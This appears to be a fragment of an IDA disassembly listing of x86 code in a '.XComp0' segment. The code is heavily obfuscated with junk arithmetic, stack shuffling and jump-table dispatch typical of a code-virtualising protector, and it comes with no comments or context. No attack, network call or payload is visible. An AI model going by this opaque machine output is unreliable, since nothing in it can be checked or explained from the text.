loc_57A8E7:				; CODE XREF: .XComp0:00582140j
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_57E24D
; ---------------------------------------------------------------------------


loc_57A903:				; CODE XREF: .XComp0:00576F77j
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	65D6h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5820C4
; ---------------------------------------------------------------------------


loc_57A926:				; CODE XREF: .XComp0:0057897Ej
		add	esp, 4
		add	ecx, edx
		sub	ecx, 2B4D0F54h
		pop	edx
		jmp	loc_57854E
; ---------------------------------------------------------------------------


loc_57A937:				; CODE XREF: .XComp0:00582556j
		push	eax
		mov	eax, 2
		add	ebp, eax
		pop	eax
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_580B33
; ---------------------------------------------------------------------------


loc_57A94E:				; CODE XREF: .XComp0:00582BAFj
		mov	[esp], edx
		jmp	loc_57512E
; ---------------------------------------------------------------------------


loc_57A956:				; CODE XREF: .XComp0:00576F83j
		mov	ecx, 555434h
		push	edx
		mov	edx, 35920FD8h
		or	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ecx, 0FFFFFFFFh
		jmp	loc_57D8E8
; ---------------------------------------------------------------------------


loc_57A974:				; CODE XREF: .XComp0:00573DF3j
		pop	edi
		jmp	loc_575D97
; ---------------------------------------------------------------------------


loc_57A97A:				; CODE XREF: .XComp0:00580384j
		shr	ch, 1
		inc	ch
		inc	ch
		xor	ch, 7Ch
		mov	dl, ch
		pop	ecx
		mov	bh, 95h
		sub	bh, dl
		pop	edx
		push	ax
		mov	ah, 0B9h
		xor	bh, ah
		pop	ax
		not	bh
		sub	bh, 93h
		sub	bh, 4Ch
		shl	bh, 6
		push	edx
		mov	dl, 0C0h
		xor	bh, dl
		pop	edx
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		push	small 15BFh
		mov	[esp], cx
		push	2542h
		jmp	loc_5823E0
; ---------------------------------------------------------------------------


loc_57A9BE:				; CODE XREF: .XComp0:0057C76Dj
		push	edi
		mov	edi, 72C36DB4h
		shl	edi, 5
		jmp	loc_578959
; ---------------------------------------------------------------------------


loc_57A9CC:				; CODE XREF: .XComp0:005831C9j
		push	ecx
		mov	ecx, 8059938Eh
		sub	esi, ecx
		jmp	loc_573898
; ---------------------------------------------------------------------------


loc_57A9D9:				; CODE XREF: .XComp0:00578A34j
		pop	ecx
		add	esi, 0FFFFFFFFh
		sub	esi, 76FF3F7Ah
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 37E46E25h
		sub	ecx, esi
		jmp	loc_573547
; ---------------------------------------------------------------------------


loc_57A9F5:				; CODE XREF: .XComp0:00579873j
		xor	eax, 0DC50894Dh
		mov	ebp, eax
		pop	eax
		shl	ebp, 5
		add	ebp, 64EF422Ah
		add	ebp, 7106D53Ah
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_57EF34
; ---------------------------------------------------------------------------


loc_57AA21:				; CODE XREF: .XComp0:005826FDj
		add	ebp, eax
		sub	ebp, 2754C74h
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	ebx
		mov	ebx, 4D0C35EBh
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_57A576
; ---------------------------------------------------------------------------


loc_57AA4F:				; CODE XREF: .XComp0:00577158j
		push	edx
		push	ebx
		jmp	loc_5760F0
; ---------------------------------------------------------------------------


loc_57AA56:				; CODE XREF: .XComp0:00581267j
		add	ecx, 110916E9h
		add	ecx, 0D775DABh
		add	ecx, 1E815846h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_579551
; ---------------------------------------------------------------------------


loc_57AA73:				; CODE XREF: .XComp0:00576C54j
		mov	ebp, 77B1256Fh
		shr	ebp, 5
		sub	ebp, 0D2610E61h
		add	eax, ebp
		pop	ebp
		pop	edx
		push	esi
		mov	esi, 22B57481h
		add	eax, esi
		pop	esi
		jmp	loc_5794C3
; ---------------------------------------------------------------------------


loc_57AA93:				; CODE XREF: .XComp0:00582D69j
		push	dx
		mov	dl, 0EEh
		inc	dl
		not	dl
		jmp	loc_576BFB
; ---------------------------------------------------------------------------


loc_57AAA0:				; CODE XREF: .XComp0:0057B28Aj
		sub	eax, esi
		pop	esi
		add	eax, edi
		add	eax, 335D3E2Bh
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_57C039
; ---------------------------------------------------------------------------


loc_57AAC1:				; CODE XREF: .XComp0:00582248j
		push	esp
		jmp	loc_580665
; ---------------------------------------------------------------------------


loc_57AAC7:				; CODE XREF: .XComp0:00575E79j
		dec	ebx
		shl	ebx, 1
		xor	ebx, 2407741Eh
		jmp	loc_57EF04
; ---------------------------------------------------------------------------


loc_57AAD5:				; CODE XREF: .XComp0:00580ED4j
		not	edx
		and	edx, 35F95504h
		jmp	loc_57BF2B
; ---------------------------------------------------------------------------


loc_57AAE2:				; CODE XREF: .XComp0:0057E76Dj
		push	51AAh
		mov	[esp], ebx
		push	edx
		mov	dl, 0ECh
		mov	bh, dl
		jmp	loc_575E42
; ---------------------------------------------------------------------------


loc_57AAF4:				; CODE XREF: .XComp0:0057E5BCj
		sub	ebx, 53BA21DDh
		jmp	loc_57CEC7
; ---------------------------------------------------------------------------


loc_57AAFF:				; CODE XREF: .XComp0:0057F9BCj
		and	dl, al
		pop	eax
		jmp	loc_57D48D
; ---------------------------------------------------------------------------


loc_57AB07:				; CODE XREF: .XComp0:005765E4j
		pop	esi
		jmp	loc_58222D
; ---------------------------------------------------------------------------


loc_57AB0D:				; CODE XREF: .XComp0:0057ED6Aj
		mov	[esp], cx
		mov	cx, 46A5h
		jmp	loc_5763D1
; ---------------------------------------------------------------------------


loc_57AB1A:				; CODE XREF: .XComp0:0057E708j
		not	bl
		and	bl, 0F7h
		dec	bl
		sub	bl, 0C8h
		jmp	loc_581FFC
; ---------------------------------------------------------------------------


loc_57AB29:				; CODE XREF: .XComp0:00574EC8j
		push	4
		pop	edi
		add	eax, edi
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_57A22E
; ---------------------------------------------------------------------------


loc_57AB3D:				; CODE XREF: .XComp0:00583547j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57AB42:				; CODE XREF: .XComp0:0057536Cj
		mov	ecx, ebp
		pop	ebp
		sub	esi, 7C3E4415h
		add	esi, ecx
		add	esi, 7C3E4415h
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_57F4E0
; ---------------------------------------------------------------------------


loc_57AB6A:				; CODE XREF: .XComp0:00581A85j
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	dword ptr [esp+4], 28A03931h
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 28A03931h
		pop	ebp
		jmp	loc_57528C
; ---------------------------------------------------------------------------


loc_57AB8D:				; CODE XREF: .XComp0:0057DB26j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5739EA
; ---------------------------------------------------------------------------


loc_57ABA1:				; CODE XREF: .XComp0:00577CFAj
		push	esi
		mov	esi, 43521966h
		xor	esi, 26B8B147h
		add	ebx, esi
		jmp	loc_573DEA
; ---------------------------------------------------------------------------


loc_57ABB4:				; CODE XREF: .XComp0:00580484j
		sub	edi, 0F2F26181h
		push	edi
		sub	dword ptr [esp], 71FE39D2h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5795DB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57ABE0:				; CODE XREF: .XComp0:00575DC4j
		mov	[esp], esi
		mov	esi, 4BD823ADh
		neg	esi
		jmp	loc_5748FD
; ---------------------------------------------------------------------------


loc_57ABEF:				; CODE XREF: .XComp0:00573A6Cj
		mov	[esp], ecx
		jmp	loc_57BA55
; ---------------------------------------------------------------------------


loc_57ABF7:				; CODE XREF: .XComp0:00574A38j
		shl	ebx, 3
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_574753
; ---------------------------------------------------------------------------


loc_57AC08:				; CODE XREF: .XComp0:005820D2j
		pop	edi
		pop	eax
		jmp	loc_573C84
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6383h
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		push	ebx
		mov	ebx, 3B856A81h
		xor	ebx, 26845894h
		jmp	loc_5792B9
; ---------------------------------------------------------------------------


loc_57AC3D:				; CODE XREF: .XComp0:00579229j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	342Dh
		mov	[esp], eax
		push	4
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 3C316045h
		add	ebp, 9196ECDh
		jmp	loc_573859
; ---------------------------------------------------------------------------


loc_57AC6D:				; CODE XREF: .XComp0:0057DF29j
		push	ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_583415
; ---------------------------------------------------------------------------


loc_57AC79:				; CODE XREF: .XComp0:00575893j
		mov	ebp, ecx
		pop	ecx
		push	esi
		mov	esi, 33D351CCh
		xor	esi, 13CE2AA6h
		sub	ebp, esi
		pop	esi
		sub	ebp, ebx
		push	eax
		mov	eax, 2C650029h
		xor	eax, 22163B8Ah
		jmp	loc_57E8D4
; ---------------------------------------------------------------------------


loc_57AC9D:				; CODE XREF: .XComp0:0057D624j
		push	1D46h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 427E3370h
		push	edi
		jmp	loc_5738B5
; ---------------------------------------------------------------------------


loc_57ACB9:				; CODE XREF: .XComp0:0057BA8Aj
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_57C4CD
; ---------------------------------------------------------------------------


loc_57ACC6:				; CODE XREF: .XComp0:005761D2j
		pop	ebx
		jmp	loc_582886
; ---------------------------------------------------------------------------


loc_57ACCC:				; CODE XREF: .XComp0:00575B0Bj
		add	edi, 27B0A5Dh
		jmp	loc_582579
; ---------------------------------------------------------------------------


loc_57ACD7:				; CODE XREF: .XComp0:00576473j
		add	ebp, esi
		pop	esi
		add	edx, ebp
		pop	ebp
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_5751E4
		push	dword ptr [edi+1Ch]
		push	esi
		jmp	loc_578A54
; ---------------------------------------------------------------------------


loc_57ACF1:				; CODE XREF: .XComp0:0057B144j
		pop	ecx
		mov	ebx, 65633BBFh
		xor	ebx, ecx
		jmp	loc_5769B2
; ---------------------------------------------------------------------------


loc_57ACFE:				; CODE XREF: .XComp0:0057EFEDj
		xor	ecx, edx
		pop	edx
		jmp	loc_57C3FA
; ---------------------------------------------------------------------------


loc_57AD06:				; CODE XREF: .XComp0:0057ED3Aj
		push	eax
		mov	eax, 193A76DCh
		add	ecx, eax
		pop	eax
		mov	edx, [esp]
		jmp	loc_582AA8
; ---------------------------------------------------------------------------


loc_57AD17:				; CODE XREF: .XComp0:0057A815j
		xor	[edi+20h], edx
		pop	edx
		jmp	loc_57DE5E
; ---------------------------------------------------------------------------


loc_57AD20:				; CODE XREF: .XComp0:0057DA2Dj
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_57A04E
; ---------------------------------------------------------------------------


loc_57AD33:				; CODE XREF: .XComp0:005787EDj
		pop	dword ptr [esp]
		jmp	loc_57F205
; ---------------------------------------------------------------------------


loc_57AD3B:				; CODE XREF: .XComp0:0057D5B2j
		mov	ecx, esp
		push	esi
		mov	esi, 1D7C0250h
		shl	esi, 7
		add	esi, 41FED804h
		add	ecx, esi
		pop	esi
		jmp	loc_576371
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57AD54:				; CODE XREF: sub_5A47B5-2422Bj
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		jmp	loc_582611
; ---------------------------------------------------------------------------


loc_57AD66:				; CODE XREF: .XComp0:005761F8j
		mov	[esp], edi
		push	52ACh
		mov	[esp], edx
		mov	edx, 11D22317h
		shr	edx, 7
		xchg	eax, edx
		not	eax
		jmp	loc_58175D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	3059h
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 63FE64AEh
		sub	ecx, 3CB8673Dh
		and	ecx, 3FE67111h
		add	ecx, 0D8BB8EF3h
		jmp	loc_57613E
; ---------------------------------------------------------------------------


loc_57ADC3:				; CODE XREF: .XComp0:00574828j
		sub	ch, al
		jmp	loc_5753E0
; ---------------------------------------------------------------------------


loc_57ADCA:				; CODE XREF: .XComp0:0057C888j
		sub	ecx, ebx
		jmp	loc_57F8AF
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_57A1E2
; ---------------------------------------------------------------------------


loc_57ADD7:				; CODE XREF: .XComp0:00578766j
		sub	eax, 68843714h
		jmp	loc_5835A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57ADE1:				; CODE XREF: sub_5A47B5-24270j
		mov	dh, 0B9h
		dec	dh
		and	dh, 0F6h
		sub	dh, 0Eh
		jmp	loc_57D591
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57ADF0:				; CODE XREF: .XComp0:00573CFFj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5742E8
; ---------------------------------------------------------------------------


loc_57AE07:				; CODE XREF: .XComp0:005776CDj
		push	edi
		jmp	loc_5773F4
; ---------------------------------------------------------------------------


loc_57AE0D:				; CODE XREF: .XComp0:0057BF3Aj
		mov	ecx, 349F2233h
		jmp	loc_57445D
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_581E71
; ---------------------------------------------------------------------------


loc_57AE1D:				; CODE XREF: .XComp0:005787A2j
		mov	[esp], ecx
		mov	ecx, 38h
		jmp	loc_57FCAF
; ---------------------------------------------------------------------------


loc_57AE2A:				; CODE XREF: .XComp0:00583068j
		add	al, ch
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57F8EC
; ---------------------------------------------------------------------------


loc_57AE3D:				; CODE XREF: .XComp0:00577521j
		xchg	edi, edx
		push	ebx
		jmp	loc_582965
; ---------------------------------------------------------------------------


loc_57AE45:				; CODE XREF: .XComp0:00574815j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_577F50
; ---------------------------------------------------------------------------


loc_57AE50:				; CODE XREF: .XComp0:0057676Aj
		xor	edi, 0C6209986h
		jmp	loc_577ECC
; ---------------------------------------------------------------------------


loc_57AE5B:				; CODE XREF: .XComp0:00576E89j
		mov	[esp], ecx
		jmp	loc_5823E8
; ---------------------------------------------------------------------------


loc_57AE63:				; CODE XREF: .XComp0:005742A0j
		push	edi
		jmp	loc_576C59
; ---------------------------------------------------------------------------


loc_57AE69:				; CODE XREF: .XComp0:00577AB1j
		pop	eax
		add	edi, 9B5C08h
		sub	edx, edi
		jmp	loc_58002F
; ---------------------------------------------------------------------------


loc_57AE77:				; CODE XREF: .XComp0:0057CFD2j
		push	1825h
		mov	[esp], esp
		jmp	loc_578931
; ---------------------------------------------------------------------------


loc_57AE84:				; CODE XREF: .XComp0:0057488Ej
		push	esp
		pop	ebx
		push	esi
		mov	esi, 3BAF18B4h
		not	esi
		jmp	loc_578BBD
; ---------------------------------------------------------------------------


loc_57AE93:				; CODE XREF: .XComp0:005831FDj
		mov	[esp], edi
		push	edx
		mov	edx, 78A05E5Ah
		mov	edi, 737862A9h
		xor	edi, edx
		pop	edx
		jmp	loc_573623
; ---------------------------------------------------------------------------


loc_57AEA9:				; CODE XREF: .XComp0:00579B7Fj
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 6B5821E1h
		add	ebx, ebp
		add	ebx, 6B5821E1h
		sub	ebx, 703736F6h
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 6625770Ah
		sub	edx, 1FE038D6h
		add	edx, ebx
		add	edx, 1FE038D6h
		pop	ebx
		sub	edx, eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 44271819h
		push	eax
		mov	eax, 52EE175Bh
		xor	eax, 118B13E9h
		add	esi, 5CB287Ah
		add	esi, 5A5D05B6h
		add	esi, eax
		push	4494h
		mov	[esp], edx
		mov	edx, 5A5D05B6h
		sub	esi, edx
		pop	edx
		sub	esi, 5CB287Ah
		jmp	loc_57428C
; ---------------------------------------------------------------------------


loc_57AF2C:				; CODE XREF: .XComp0:0057C6D0j
		pop	ebp
		jmp	loc_574AA3
; ---------------------------------------------------------------------------


loc_57AF32:				; CODE XREF: .XComp0:00581AA4j
		xchg	ecx, [esp]
		jmp	loc_57BAF5
; ---------------------------------------------------------------------------


loc_57AF3A:				; CODE XREF: .XComp0:00580E1Ej
		sub	al, 0C5h
		add	al, dl
		add	al, 0C5h
		mov	edx, [esp]
		add	esp, 4
		add	al, 3Fh
		push	edx
		push	7FD3h
		mov	[esp], ecx
		mov	cl, 2Ch
		shr	cl, 5
		push	edx
		mov	dh, 57h
		or	cl, dh
		pop	edx
		inc	cl
		shr	cl, 7
		jmp	loc_57887D
; ---------------------------------------------------------------------------


loc_57AF66:				; CODE XREF: .XComp0:0057C615j
		mov	edi, 11620D31h
		xor	edi, 350A63E5h
		mov	edx, edi
		pop	edi
		shl	edx, 5
		and	edx, 6D02E98h
		and	edx, 1ADE4E07h
		or	edx, 4E831214h
		dec	edx
		jmp	loc_583352
; ---------------------------------------------------------------------------


loc_57AF8F:				; CODE XREF: .XComp0:0058051Cj
		push	4F08h
		mov	[esp], edx
		mov	edx, 28FA6566h
		or	esi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58181A
; ---------------------------------------------------------------------------


loc_57AFA7:				; CODE XREF: .XComp0:0057DC1Cj
		mov	ebp, esp
		jmp	loc_580C14
; ---------------------------------------------------------------------------


loc_57AFAE:				; CODE XREF: .XComp0:005748E4j
		dec	eax
		push	ebp
		push	ecx
		mov	ecx, 38F109E3h
		jmp	loc_576124
; ---------------------------------------------------------------------------


loc_57AFBB:				; CODE XREF: .XComp0:0057FF0Ej
		pop	esp
		push	eax
		mov	eax, esp
		push	edi
		push	edx
		mov	edx, 43843A37h
		neg	edx
		jmp	loc_583184
; ---------------------------------------------------------------------------


loc_57AFCD:				; CODE XREF: .XComp0:005777FFj
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		push	341263D0h
		pop	ebx
		jmp	loc_578814
; ---------------------------------------------------------------------------


loc_57AFE2:				; CODE XREF: .XComp0:00577EC2j
		add	eax, edi
		jmp	loc_5748E9
; ---------------------------------------------------------------------------


loc_57AFE9:				; CODE XREF: .XComp0:0057BB0Bj
		pop	edi
		add	edx, esi
		add	edx, 77CA245Ah
		add	edx, 284D083Bh
		jmp	loc_57D80E
; ---------------------------------------------------------------------------


loc_57AFFD:				; CODE XREF: .XComp0:00580929j
		and	eax, 5B6D0C36h
		not	eax
		shr	eax, 8
		add	eax, 0FF032D11h
		add	esi, eax
		pop	eax
		push	2723h
		mov	[esp], ebx
		jmp	loc_579F67
; ---------------------------------------------------------------------------


loc_57B01C:				; CODE XREF: .XComp0:00576986j
		push	ecx
		mov	ecx, 617265D8h
		add	edi, ecx
		pop	ecx
		add	edi, 1
		jmp	loc_57BFF5
; ---------------------------------------------------------------------------


loc_57B030:				; CODE XREF: .XComp0:0057E18Aj
		mov	[esp], ebx
		mov	ebx, 4
		push	edx
		mov	edx, 2BFC72D3h
		add	edx, 41D1A8CBh
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ecx, ebx
		push	ebx
		mov	ebx, 20004184h
		jmp	loc_5778EE
; ---------------------------------------------------------------------------


loc_57B05C:				; CODE XREF: .XComp0:005772D3j
		mov	edi, ebx
		pop	ebx
		xor	edi, 786626ACh
		push	edx
		push	esi
		mov	esi, 51F40FC0h
		not	esi
		jmp	loc_5746A3
; ---------------------------------------------------------------------------


loc_57B073:				; CODE XREF: .XComp0:0057E2F7j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57B085:				; CODE XREF: .XComp0:0057BDC4j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57740D
; ---------------------------------------------------------------------------


loc_57B09A:				; CODE XREF: .XComp0:0057CBB8j
		pop	edx
		shl	edx, 7
		shl	edx, 3
		neg	edx
		xor	edx, 0FEA18F2Ah
		mov	ebx, edx
		jmp	loc_582945
; ---------------------------------------------------------------------------


loc_57B0B0:				; CODE XREF: .XComp0:00575431j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_580CA3
; ---------------------------------------------------------------------------


loc_57B0C6:				; CODE XREF: .XComp0:005777BEj
		add	esi, 0FFFFFFFFh
		push	eax
		mov	eax, 25524323h
		xor	esi, eax
		pop	eax
		sub	esi, 19A9CFA5h
		mov	edx, 17A0ECA6h
		jmp	loc_580B07
; ---------------------------------------------------------------------------


loc_57B0E5:				; CODE XREF: .XComp0:0057C027j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57971B
; ---------------------------------------------------------------------------


loc_57B0FD:				; CODE XREF: .XComp0:0057E71Aj
		push	ecx
		jmp	loc_57E884
; ---------------------------------------------------------------------------


loc_57B103:				; CODE XREF: .XComp0:005737DEj
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	4A4h
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_578704
; ---------------------------------------------------------------------------


loc_57B12B:				; CODE XREF: .XComp0:00575FC3j
		sub	edi, 35481924h
		pop	edx
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		push	ecx
		push	7FD11352h
		jmp	loc_57ACF1
; ---------------------------------------------------------------------------


loc_57B149:				; CODE XREF: .XComp0:005820ECj
		shr	edx, 1
		jmp	loc_576CE2
; ---------------------------------------------------------------------------


loc_57B150:				; CODE XREF: .XComp0:00577427j
		not	dl
		xor	dl, 30h
		jmp	loc_573EAE
; ---------------------------------------------------------------------------


loc_57B15A:				; CODE XREF: .XComp0:005759C6j
		mov	ecx, 4BDE45C7h
		xor	ecx, edi
		pop	edi
		jmp	loc_583285
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57B167:				; CODE XREF: sub_5A47B5-2E534j
		mov	[esp+22h+var_24+2], ecx
		mov	cl, 9Fh
		xor	cl, 60h
		push	edx
		jmp	loc_57E6C0
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57B175:				; CODE XREF: .XComp0:00575C1Fj
		neg	ebp
		push	edi
		push	38D5107Bh
		pop	edi
		jmp	loc_57675B
; ---------------------------------------------------------------------------


loc_57B183:				; CODE XREF: .XComp0:00573936j
		push	ecx
		mov	ecx, 2E0710C9h
		add	ecx, 442F7528h
		shl	ecx, 2
		jmp	loc_577875
; ---------------------------------------------------------------------------


loc_57B197:				; CODE XREF: .XComp0:00574A08j
		add	al, 2Dh
		add	al, 20h
		pop	ebx
		push	6F5Ch
		mov	[esp], ebx
		mov	bh, 1Fh
		jmp	loc_57A63B
; ---------------------------------------------------------------------------


loc_57B1AB:				; CODE XREF: .XComp0:005752D8j
		mov	esi, [esp]
		jmp	loc_582758
; ---------------------------------------------------------------------------


loc_57B1B3:				; CODE XREF: .XComp0:0057D79Dj
		pop	eax
		sub	ebx, edx
		pop	edx
		pop	ebp
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	ebx, eax
		sub	esp, 4
		jmp	loc_57F8C3
; ---------------------------------------------------------------------------


loc_57B1CB:				; CODE XREF: .XComp0:0057F295j
		pop	ebx
		jmp	loc_573ED2
; ---------------------------------------------------------------------------


loc_57B1D1:				; CODE XREF: .XComp0:00574D24j
		pop	edi
		not	eax
		jmp	loc_5819FC
; ---------------------------------------------------------------------------


loc_57B1D9:				; CODE XREF: .XComp0:0057502Dj
		add	edi, 0B0A99211h
		xor	edx, edi
		jmp	loc_57853A
; ---------------------------------------------------------------------------


loc_57B1E6:				; CODE XREF: .XComp0:0057B88Cj
		neg	esi
		shr	esi, 4
		jmp	loc_5765DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57B1F0:				; CODE XREF: sub_5A47B5-24010j
		pop	eax
		xchg	esi, [esp+22h+var_24+2]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_57796E
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57B202:				; CODE XREF: .XComp0:00576775j
		xor	esi, edx
		pop	edx
		inc	esi
		jmp	loc_579297
; ---------------------------------------------------------------------------


loc_57B20B:				; CODE XREF: .XComp0:0057F6E2j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2CB9h
		mov	[esp], edx
		push	184Eh
		mov	[esp], eax
		mov	eax, 800000h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5745A3
; ---------------------------------------------------------------------------


loc_57B238:				; CODE XREF: .XComp0:005752ADj
		add	ecx, 0FB907004h
		mov	edx, ecx
		pop	ecx
		xor	edx, 2C7912h
		add	ecx, 0DC14AA1h
		add	ecx, edx
		jmp	loc_58106A
; ---------------------------------------------------------------------------


loc_57B254:				; CODE XREF: .XComp0:005749B1j
		add	ecx, 49FF6A22h
		jmp	loc_57DA32
; ---------------------------------------------------------------------------


loc_57B25F:				; CODE XREF: .XComp0:00579651j
		add	edx, 2
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_579FAC
; ---------------------------------------------------------------------------


loc_57B26D:				; CODE XREF: .XComp0:00574E05j
		add	eax, 0B2D44592h
		xor	esi, eax
		pop	eax
		xor	esi, 637004E2h
		xor	esi, 6FF5215Eh
		mov	edi, esi
		pop	esi
		push	esi
		mov	esi, 335D3E2Bh
		jmp	loc_57AAA0
; ---------------------------------------------------------------------------


loc_57B28F:				; CODE XREF: .XComp0:00573A19j
		add	ebp, ebx
		pop	ebx
		not	ebp
		shr	ebp, 8
		sub	ebp, 0BCF142h
		add	ecx, 69E5580Bh
		sub	ecx, 255B6BBFh
		add	ecx, ebp
		add	ecx, 255B6BBFh
		push	7C11h
		mov	[esp], edx
		push	eax
		mov	eax, 69E5580Bh
		mov	edx, eax
		pop	eax
		sub	ecx, edx
		pop	edx
		jmp	loc_57842C
; ---------------------------------------------------------------------------


loc_57B2CA:				; CODE XREF: .XComp0:00575776j
		pop	eax
		add	esp, 4
		jmp	loc_574009
; ---------------------------------------------------------------------------


loc_57B2D6:				; CODE XREF: .XComp0:0057718Dj
		xchg	esi, [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		jmp	loc_576543
; ---------------------------------------------------------------------------


loc_57B2E7:				; CODE XREF: .XComp0:0057A71Cj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_581E40
; ---------------------------------------------------------------------------


loc_57B2F4:				; CODE XREF: .XComp0:0057CBA4j
		add	ebp, edx
		pop	edx
		push	5062h
		mov	[esp], eax
		mov	eax, 4
		sub	ebp, eax
		jmp	loc_57E208
; ---------------------------------------------------------------------------


loc_57B30B:				; CODE XREF: .XComp0:005784D3j
		mov	esp, [esp]
		jmp	loc_57A4F2
; ---------------------------------------------------------------------------


loc_57B313:				; CODE XREF: .XComp0:0057B903j
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	30B5h
		mov	[esp], esi
		jmp	loc_573FD3
; ---------------------------------------------------------------------------


loc_57B335:				; CODE XREF: .XComp0:0057417Ej
		add	edi, 53F7168Fh
		xor	edi, 11896328h
		mov	eax, edi
		pop	edi
		inc	eax
		inc	eax
		jmp	loc_57E5A6
; ---------------------------------------------------------------------------


loc_57B34B:				; CODE XREF: .XComp0:00577B89j
		and	bl, 8Ah
		sub	bl, 0D4h
		sub	al, bl
		pop	ebx
		pop	edx
		add	bl, 0E2h
		jmp	loc_57F844
; ---------------------------------------------------------------------------


loc_57B35D:				; CODE XREF: .XComp0:00581235j
		mov	[esp], esi
		mov	esi, 366C125Ah
